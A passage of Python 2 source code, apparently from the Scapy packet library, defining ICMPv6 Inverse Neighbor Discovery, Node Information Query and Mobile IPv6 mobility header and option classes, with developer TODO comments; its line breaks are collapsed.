Neighbor Discovery Option - Source Address List" fields_desc = [ ByteField("type",9), FieldLenField("len", None, count_of="addrlist", fmt="B", adjust = lambda pkt,x: 2*x+1), StrFixedLenField("res", "\x00"*6, 6), IP6ListField("addrlist", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" type = 10 # RFC3122 # Options requises : source lladdr et target lladdr # Autres options valides : source address list, MTU # - Comme precise dans le document, il serait bien de prendre l'adresse L2 # demandee dans l'option requise target lladdr et l'utiliser au niveau # de l'adresse destination ethernet si aucune adresse n'est precisee # - ca semble pas forcement pratique si l'utilisateur doit preciser toutes # les options. # Ether() must use the target lladdr as destination class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Solicitation" fields_desc = [ ByteEnumField("type",141, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} # Options requises : target lladdr, target address list # Autres options valides : MTU class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Advertisement" fields_desc = [ ByteEnumField("type",142, icmp6types), ByteField("code",0), XShortField("cksum",None), XIntField("reserved",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ############################################################################### # ICMPv6 Node Information Queries (RFC 4620) ############################################################################### # [ ] Add automatic destination address computation using computeNIGroupAddr # in IPv6 class (Scapy6 modification when integrated) if : # - it is not provided # - upper layer is ICMPv6NIQueryName() with a valid value # [ ] Try to be liberal in what we accept as internal values for _explicit_ # DNS elements provided by users. Any string should be considered # valid and kept like it has been provided. At the moment, i2repr() will # crash on many inputs # [ ] Do the documentation # [ ] Add regression tests # [ ] Perform test against real machines (NOOP reply is proof of implementation). # [ ] Check if there are differences between different stacks. Among *BSD, # with others. # [ ] Deal with flags in a consistent way. # [ ] Implement compression in names2dnsrepr() and decompresiion in # dnsrepr2names(). Should be deactivable. icmp6_niqtypes = { 0: "NOOP", 2: "Node Name", 3: "IPv6 Address", 4: "IPv4 Address" } class _ICMPv6NIHashret: def hashret(self): return self.nonce class _ICMPv6NIAnswers: def answers(self, other): return self.nonce == other.nonce # Buggy; always returns the same value during a session class NonceField(StrFixedLenField): def __init__(self, name, default=None): StrFixedLenField.__init__(self, name, default, 8) if default is None: self.default = self.randval() # Compute the NI group Address. Can take a FQDN as input parameter def computeNIGroupAddr(name): import md5 name = name.lower().split(".")[0] record = chr(len(name))+name h = md5.new(record) h = h.digest() addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) return addr # Here is the deal. First, that protocol is a piece of shit. Then, we # provide 4 classes for the different kinds of Requests (one for every # valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same # data field class that is made to be smart by guessing the specifc # type of value provided : # # - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, # if not overriden by user # - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, # if not overriden # - Name in the other cases: code is set to 0, if not overriden by user # # Internal storage, is not only the value, but the a pair providing # the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) # # Note : I merged getfield() and m2i(). m2i() should not be called # directly anyway. Same remark for addfield() and i2m() # # -- arno # "The type of information present in the Data field of a query is # declared by the ICMP Code, whereas the type of information in a # Reply is determined by the Qtype" def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!! """ if type(x) is str: if x and x[-1] == '\x00': # stupid heuristic return x x = [x] res = [] for n in x: termin = "\x00" if n.count('.') == 0: # single-component gets one more termin += '\x00' n = "".join(map(lambda y: chr(len(y))+y, n.split("."))) + termin res.append(n) return "".join(res) def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] cur = "" while x: l = ord(x[0]) x = x[1:] if l == 0: if cur and cur[-1] == '.': cur = cur[:-1] res.append(cur) cur = "" if x and ord(x[0]) == 0: # single component x = x[1:] continue if l & 0xc0: # XXX TODO : work on that -- arno raise Exception("DNS message can't be compressed at this point!") else: cur += x[:l]+"." x = x[l:] return res class NIQueryDataField(StrField): def __init__(self, name, default): StrField.__init__(self, name, default) def i2h(self, pkt, x): if x is None: return x t,val = x if t == 1: val = dnsrepr2names(val)[0] return val def h2i(self, pkt, x): if x is tuple and type(x[0]) is int: return x val = None try: # Try IPv6 inet_pton(socket.AF_INET6, x) val = (0, x) except: try: # Try IPv4 inet_pton(socket.AF_INET, x) val = (2, x) except: # Try DNS if x is None: x = "" x = names2dnsrepr(x) val = (1, x) return val def i2repr(self, pkt, x): t,val = x if t == 1: # DNS Name # we don't use dnsrepr2names() to deal with # possible weird data extracted info res = [] weird = None while val: l = ord(val[0]) val = val[1:] if l == 0: if (len(res) > 1 and val): # fqdn with data behind weird = val elif len(val) > 1: # single label with data behind weird = val[1:] break res.append(val[:l]+".") val = val[l:] tmp = "".join(res) if tmp and tmp[-1] == '.': tmp = tmp[:-1] return tmp return repr(val) def getfield(self, pkt, s): qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, "") else: code = getattr(pkt, "code") if code == 0: # IPv6 Addr return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) elif code == 2: # IPv4 Addr return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) else: # Name or Unknown return "", (1, s) def addfield(self, pkt, s, val): if ((type(val) is tuple and val[1] is None) or val is None): val = (1, "") t = val[0] if t == 1: return s + val[1] elif t == 0: return s + inet_pton(socket.AF_INET6, val[1]) else: return s + inet_pton(socket.AF_INET, val[1]) class NIQueryCodeField(ByteEnumField): def i2m(self, pkt, x): if x is None: d = pkt.getfieldval("data") if d is None: return 1 elif d[0] == 0: # IPv6 address return 0 elif d[0] == 1: # Name return 1 elif d[0] == 2: # IPv4 address return 2 else: return 1 return x _niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} #_niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", # 8: "Link-local addresses", 16: "Site-local addresses", # 32: "Global addresses" } # "This NI type has no defined flags and never has a Data Field". Used # to know if the destination is up and implements NI protocol. class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Query - NOOP Query" fields_desc = [ ByteEnumField("type", 139, icmp6types), NIQueryCodeField("code", None, _niquery_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIQueryDataField("data", None) ] class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Name Query" qtype = 2 # We ask for the IPv6 address of the peer class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Address Query" qtype = 3 flags = 0x3E class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv4 Address Query" qtype = 4 _nireply_code = { 0: "Successful Reply", 1: "Response Refusal", 3: "Unknown query type" } _nireply_flags = { 1: "Reply set incomplete", 2: "All unicast addresses", 4: "IPv4 addresses", 8: "Link-local addresses", 16: "Site-local addresses", 32: "Global addresses" } # Internal repr is one of those : # (0, "some string") : unknow qtype value are mapped to that one # (3, [ (ttl, ip6), ... ]) # (4, [ (ttl, ip4), ... ]) # (2, [ttl, dns_names]) : dns_names is one string that contains # all the DNS names. Internally it is kept ready to be sent # (undissected). i2repr() decode it for user. This is to # make build after dissection bijective. # # I also merged getfield() and m2i(), and addfield() and i2m(). class NIReplyDataField(StrField): def i2h(self, pkt, x): if x is None: return x t,val = x if t == 2: ttl, dnsnames = val val = [ttl] + dnsrepr2names(dnsnames) return val def h2i(self, pkt, x): qtype = 0 # We will decode it as string if not # overridden through 'qtype' in pkt # No user hint, let's use 'qtype' value for that purpose if type(x) is not tuple: if pkt is not None: qtype = getattr(pkt, "qtype") else: qtype = x[0] x = x[1] # From that point on, x is the value (second element of the tuple) if qtype == 2: # DNS name if type(x) is str: # listify the string x = [x] if type(x) is list and x and type(x[0]) is not int: # ttl was omitted : use 0 x = [0] + x ttl = x[0] names = x[1:] return (2, [ttl, names2dnsrepr(names)]) elif qtype in [3, 4]: # IPv4 or IPv6 addr if type(x) is str: x = [x] # User directly provided an IP, instead of list # List elements are not tuples, user probably # omitted ttl value : we will use 0 instead def addttl(x): if type(x) is str: return (0, x) return x return (qtype, map(addttl, x)) return (qtype, x) def addfield(self, pkt, s, val): t,tmp = val if tmp is None: tmp = "" if t == 2: ttl,dnsstr = tmp return s+ struct.pack("!I", ttl) + dnsstr elif t == 3: return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET6, y), tmp)) elif t == 4: return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET, y), tmp)) else: return s + tmp def getfield(self, pkt, s): code = getattr(pkt, "code") if code != 0: return s, (0, "") qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, "") elif qtype == 2: if len(s) < 4: return s, (0, "") ttl = struct.unpack("!I", s[:4])[0] return "", (2, [ttl, s[4:]]) elif qtype == 3: # IPv6 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 20: # 4 + 16 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET6, s[4:20]) res.append((ttl, ip)) s = s[20:] return s, (3, res) elif qtype == 4: # IPv4 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 8: # 4 + 4 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET, s[4:8]) res.append((ttl, ip)) s = s[8:] return s, (4, res) else: # XXX TODO : implement me and deal with real length return "", (0, s) def i2repr(self, pkt, x): if x is None: return "[]" if type(x) is tuple and len(x) == 2: t, val = x if t == 2: # DNS names ttl,l = val l = dnsrepr2names(l) return "ttl:%d %s" % (ttl, ", ".join(l)) elif t == 3 or t == 4: return "[ %s ]" % (", ".join(map(lambda (x,y): "(%d, %s)" % (x, y), val))) return repr(val) return repr(x) # XXX should not happen # By default, sent responses have code set to 0 (successful) class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Reply - NOOP Reply" fields_desc = [ ByteEnumField("type", 140, icmp6types), ByteEnumField("code", 0, _nireply_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIReplyDataField("data", None)] class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Node Names" qtype = 2 class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv6 addresses" qtype = 3 class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv4 addresses" qtype = 4 class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" code = 1 class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" code = 2 def _niquery_guesser(p): cls = conf.raw_layer type = ord(p[0]) if type == 139: # Node Info Query specific stuff if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 0: ICMPv6NIQueryNOOP, 2: ICMPv6NIQueryName, 3: ICMPv6NIQueryIPv6, 4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer) elif type == 140: # Node Info Reply specific stuff code = ord(p[1]) if code == 0: if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 2: ICMPv6NIReplyName, 3: ICMPv6NIReplyIPv6, 4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP) elif code == 1: cls = ICMPv6NIReplyRefuse elif code == 2: cls = ICMPv6NIReplyUnknown return cls ############################################################################# ############################################################################# ### Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) ### ############################################################################# ############################################################################# # Mobile IPv6 ICMPv6 related classes class ICMPv6HAADRequest(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Request' fields_desc = [ ByteEnumField("type", 144, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() class ICMPv6HAADReply(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Reply' fields_desc = [ ByteEnumField("type", 145, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15), IP6ListField('addresses', None) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() def answers(self, other): if not isinstance(other, ICMPv6HAADRequest): return 0 return self.id == other.id class ICMPv6MPSol(_ICMPv6): name = 'ICMPv6 Mobile Prefix Solicitation' fields_desc = [ ByteEnumField("type", 146, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), XShortField("res", 0) ] def _hashret(self): return struct.pack("!H",self.id) class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = 'ICMPv6 Mobile Prefix Advertisement' fields_desc = [ ByteEnumField("type", 147, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}), XBitField("res", 0, 14) ] def hashret(self): return struct.pack("!H",self.id) def answers(self, other): return isinstance(other, ICMPv6MPSol) # Mobile IPv6 Options classes _mobopttypes = { 2: "Binding Refresh Advice", 3: "Alternate Care-of Address", 4: "Nonce Indices", 5: "Binding Authorization Data", 6: "Mobile Network Prefix (RFC3963)", 7: "Link-Layer Address (RFC4068)", 8: "Mobile Node Identifier (RFC4283)", 9: "Mobility Message Authentication (RFC4285)", 10: "Replay Protection (RFC4285)", 11: "CGA Parameters Request (RFC4866)", 12: "CGA Parameters (RFC4866)", 13: "Signature (RFC4866)", 14: "Home Keygen Token (RFC4866)", 15: "Care-of Test Init (RFC4866)", 16: "Care-of Test (RFC4866)" } class _MIP6OptAlign: """ Mobile IPv6 options have alignment requirements of the form x*n+y. This class is inherited by all MIPv6 options to help in computing the required Padding for that option, i.e. the need for a Pad1 or PadN option before it. They only need to provide x and y as class parameters. (x=0 and y=0 are used when no alignment is required)""" def alignment_delta(self, curpos): x = self.x ; y = self.y if x == 0 and y ==0: return 0 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class MIP6OptBRAdvice(_MIP6OptAlign, Packet): name = 'Mobile IPv6 Option - Binding Refresh Advice' fields_desc = [ ByteEnumField('otype', 2, _mobopttypes), ByteField('olen', 2), ShortField('rinter', 0) ] x = 2 ; y = 0# alignment requirement: 2n class MIP6OptAltCoA(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Alternate Care-of Address' fields_desc = [ ByteEnumField('otype', 3, _mobopttypes), ByteField('olen', 16), IP6Field("acoa", "::") ] x = 8 ; y = 6 # alignment requirement: 8n+6 class MIP6OptNonceIndices(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Nonce Indices' fields_desc = [ ByteEnumField('otype', 4, _mobopttypes), ByteField('olen', 16), ShortField('hni', 0), ShortField('coni', 0) ] x = 2 ; y = 0 # alignment requirement: 2n class MIP6OptBindingAuthData(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Binding Authorization Data' fields_desc = [ ByteEnumField('otype', 5, _mobopttypes), ByteField('olen', 16), BitField('authenticator', 0, 96) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963 name = 'NEMO Option - Mobile Network Prefix' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), ByteField("olen", 18), ByteField("reserved", 0), ByteField("plen", 64), IP6Field("prefix", "::") ] x = 8 ; y = 4 # alignment requirement: 8n+4 class MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068 name = "MIPv6 Option - Link-Layer Address (MH-LLA)" fields_desc = [ ByteEnumField("otype", 7, _mobopttypes), ByteField("olen", 7), ByteEnumField("ocode", 2, _rfc4068_lla_optcode), ByteField("pad", 0), MACField("lla", ETHER_ANY) ] # Only support ethernet x = 0 ; y = 0 # alignment requirement: none class MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283 name = "MIPv6 Option - Mobile Node Identifier" fields_desc = [ ByteEnumField("otype", 8, _mobopttypes), FieldLenField("olen", None, length_of="id", fmt="B", adjust = lambda pkt,x: x+1), ByteEnumField("subtype", 1, {1: "NAI"}), StrLenField("id", "", length_from = lambda pkt: pkt.olen-1) ] x = 0 ; y = 0 # alignment requirement: none # We only support decoding and basic build. Automatic HMAC computation is # too much work for our current needs. It is left to the user (I mean ... # you). --arno class MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5) name = "MIPv6 Option - Mobility Message Authentication" fields_desc = [ ByteEnumField("otype", 9, _mobopttypes), FieldLenField("olen", None, length_of="authdata", fmt="B", adjust = lambda pkt,x: x+5), ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", 2: "MN-AAA authentication mobility option"}), IntField("mspi", None), StrLenField("authdata", "A"*12, length_from = lambda pkt: pkt.olen-5) ] x = 4 ; y = 1 # alignment requirement: 4n+1 # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. class NTPTimestampField(LongField): epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) def i2repr(self, pkt, x): if x < ((50*31536000)<<32): return "Some date a few decades ago (%d)" % x # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to # January 1st 1970 : delta = -2209075761 i = int(x >> 32) j = float(x & 0xffffffff) * 2.0**-32 res = i + j + delta from time import strftime t = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(res)) return "%s (%d)" % (t, x) class MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6) name = "MIPv6 option - Replay Protection" fields_desc = [ ByteEnumField("otype", 10, _mobopttypes), ByteField("olen", 8), NTPTimestampField("timestamp", 0) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6) name = "MIPv6 option - CGA Parameters Request" fields_desc = [ ByteEnumField("otype", 11, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none # XXX TODO: deal with CGA param fragmentation and build of defragmented # XXX version. Passing of a big CGAParam structure should be # XXX simplified. Make it hold packets, by the way --arno class MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1) name = "MIPv6 option - CGA Parameters" fields_desc = [ ByteEnumField("otype", 12, _mobopttypes), FieldLenField("olen", None, length_of="cgaparams", fmt="B"), StrLenField("cgaparams", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2) name = "MIPv6 option - Signature" fields_desc = [ ByteEnumField("otype", 13, _mobopttypes), FieldLenField("olen", None, length_of="sig", fmt="B"), StrLenField("sig", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3) name = "MIPv6 option - Home Keygen Token" fields_desc = [ ByteEnumField("otype", 14, _mobopttypes), FieldLenField("olen", None, length_of="hkt", fmt="B"), StrLenField("hkt", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4) name = "MIPv6 option - Care-of Test Init" fields_desc = [ ByteEnumField("otype", 15, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5) name = "MIPv6 option - Care-of Test" fields_desc = [ ByteEnumField("otype", 16, _mobopttypes), FieldLenField("olen", None, length_of="cokt", fmt="B"), StrLenField("cokt", '\x00'*8, length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptUnknown(_MIP6OptAlign, Packet): name = 'Scapy6 - Unknown Mobility Option' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none moboptcls = { 0: Pad1, 1: PadN, 2: MIP6OptBRAdvice, 3: MIP6OptAltCoA, 4: MIP6OptNonceIndices, 5: MIP6OptBindingAuthData, 6: MIP6OptMobNetPrefix, 7: MIP6OptLLAddr, 8: MIP6OptMNID, 9: MIP6OptMsgAuth, 10: MIP6OptReplayProtection, 11: MIP6OptCGAParamsReq, 12: MIP6OptCGAParams, 13: MIP6OptSignature, 14: MIP6OptHomeKeygenToken, 15: MIP6OptCareOfTestInit, 16: MIP6OptCareOfTest } # Main Mobile IPv6 Classes mhtypes = { 0: 'BRR', 1: 'HoTI', 2: 'CoTI', 3: 'HoT', 4: 'CoT', 5: 'BU', 6: 'BA', 7: 'BE', 8: 'Fast BU', 9: 'Fast BA', 10: 'Fast NA' } # From http://www.iana.org/assignments/mobility-parameters bastatus = { 0: 'Binding Update accepted', 1: 'Accepted but prefix discovery necessary', 128: 'Reason unspecified', 129: 'Administratively prohibited', 130: 'Insufficient resources', 131: 'Home registration not supported', 132: 'Not home subnet', 133: 'Not home agent for this mobile node', 134: 'Duplicate Address Detection failed', 135: 'Sequence number out of window', 136: 'Expired home nonce index', 137: 'Expired care-of nonce index', 138: 'Expired nonces', 139: 'Registration type change disallowed', 140: 'Mobile Router Operation not permitted', 141: 'Invalid Prefix', 142: 'Not Authorized for Prefix', 143: 'Forwarding Setup failed (prefixes missing)', 144: 'MIPV6-ID-MISMATCH', 145: 'MIPV6-MESG-ID-REQD', 146: 'MIPV6-AUTH-FAIL', 147: 'Permanent home keygen token unavailable', 148: 'CGA and signature verification failed', 149: 'Permanent home keygen token exists', 150: 'Non-null home nonce index expected' } class _MobilityHeader(Packet): name = 'Dummy IPv6 Mobility Header' overload_fields = { IPv6: { "nh": 135 }} def post_build(self, p, pay): p += pay l = self.len if self.len is None: l = (len(p)-8)/8 p = p[0] + struct.pack("B", l) + p[2:] if self.cksum is None: cksum = in6_chksum(135, self.underlayer, p) else: cksum = self.cksum p = p[:4]+struct.pack("!H", cksum)+p[6:] return p class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg name = "IPv6 Mobility Header - Generic Message" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", None, mhtypes), ByteField("res", None), XShortField("cksum", None), StrLenField("msg", "\x00"*2, length_from = lambda pkt: 8*pkt.len-6) ] # TODO: make a generic _OptionsField class _MobilityOptionsField(PacketListField): __slots__ = ["curpos"] def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:],self.m2i(pkt, s[:l]) def i2len(self, pkt, i): return len(self.i2m(pkt, i)) def m2i(self, pkt, x): opt = [] while x: o = ord(x[0]) # Option type cls = self.cls if moboptcls.has_key(o): cls = moboptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, conf.raw_layer): x = op.payload.load del(op.payload) else: x = "" return opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if not autopad: return "".join(map(str, x)) curpos = self.curpos s = "" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) pstr = str(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class MIP6MH_BRR(_MobilityHeader): name = "IPv6 Mobility Header - Binding Refresh Request" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 0, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("res2", None), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 8, length_from = lambda pkt: 8*pkt.len) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: BRR, BU and BA have the same hashret that returns the same # value "\x00\x08\x09" (concatenation of mhtypes). This is # because we need match BA with BU and BU with BRR. --arno return "\x00\x08\x09" class MIP6MH_HoTI(_MobilityHeader): name = "IPv6 Mobility Header - Home Test Init" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 1, mhtypes), ByteField("res", None), XShortField("cksum", None), StrFixedLenField("reserved", "\x00"*2, 2), StrFixedLenField("cookie", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 16, length_from = lambda pkt: 8*(pkt.len-1)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie class MIP6MH_CoTI(MIP6MH_HoTI): name = "IPv6 Mobility Header - Care-of Test Init" mhtype = 2 def hashret(self): return self.cookie class MIP6MH_HoT(_MobilityHeader): name = "IPv6 Mobility Header - Home Test" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 3, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("index", None), StrFixedLenField("cookie", "\x00"*8, 8), StrFixedLenField("token", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_HoTI) and self.cookie == other.cookie): return 1 return 0 class MIP6MH_CoT(MIP6MH_HoT): name = "IPv6 Mobility Header - Care-of Test" mhtype = 4 def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_CoTI) and self.cookie == other.cookie): return 1 return 0 class LifetimeField(ShortField): def i2repr(self, pkt, x): return "%d sec" % (4*x) class MIP6MH_BU(_MobilityHeader): name = "IPv6 Mobility Header - Binding Update" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 5, mhtypes), ByteField("res", None), XShortField("cksum", None), XShortField("seq", None), # TODO: ShortNonceField FlagsField("flags", "KHA", 7, "PRMKLHA"), XBitField("reserved", 0, 9), LifetimeField("mhtime", 3), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len - 4) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if isinstance(other, MIP6MH_BRR): return 1 return 0 class MIP6MH_BA(_MobilityHeader): name = "IPv6 Mobility Header - Binding ACK" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 6, mhtypes), ByteField("res", None), XShortField("cksum", None), ByteEnumField("status", 0, bastatus), FlagsField("flags", "K", 3, "PRK"), XBitField("res2", None, 5), XShortField("seq", None), # TODO: ShortNonceField XShortField("mhtime", 0), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len-4) ] overload_fields = { IPv6: { "nh": 135 }} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if (isinstance(other, MIP6MH_BU) and other.mhtype == 5 and self.mhtype == 6 and other.flags & 0x1 and # Ack request flags is set self.seq == other.seq): return 1 return 0 _bestatus = { 1: 'Unknown binding for Home Address destination option', 2: 'Unrecognized MH Type value' } # TODO: match Binding Error to its stimulus class MIP6MH_BE(_MobilityHeader): name = "IPv6 Mobility Header - Binding Error" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 7, mhtypes), ByteField("res", 0), XShortField("cksum", None), ByteEnumField("status", 0, _bestatus), ByteField("reserved", 0), IP6Field("ha", "::"), _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 }} _mip6_mhtype2cls = { 0: MIP6MH_BRR, 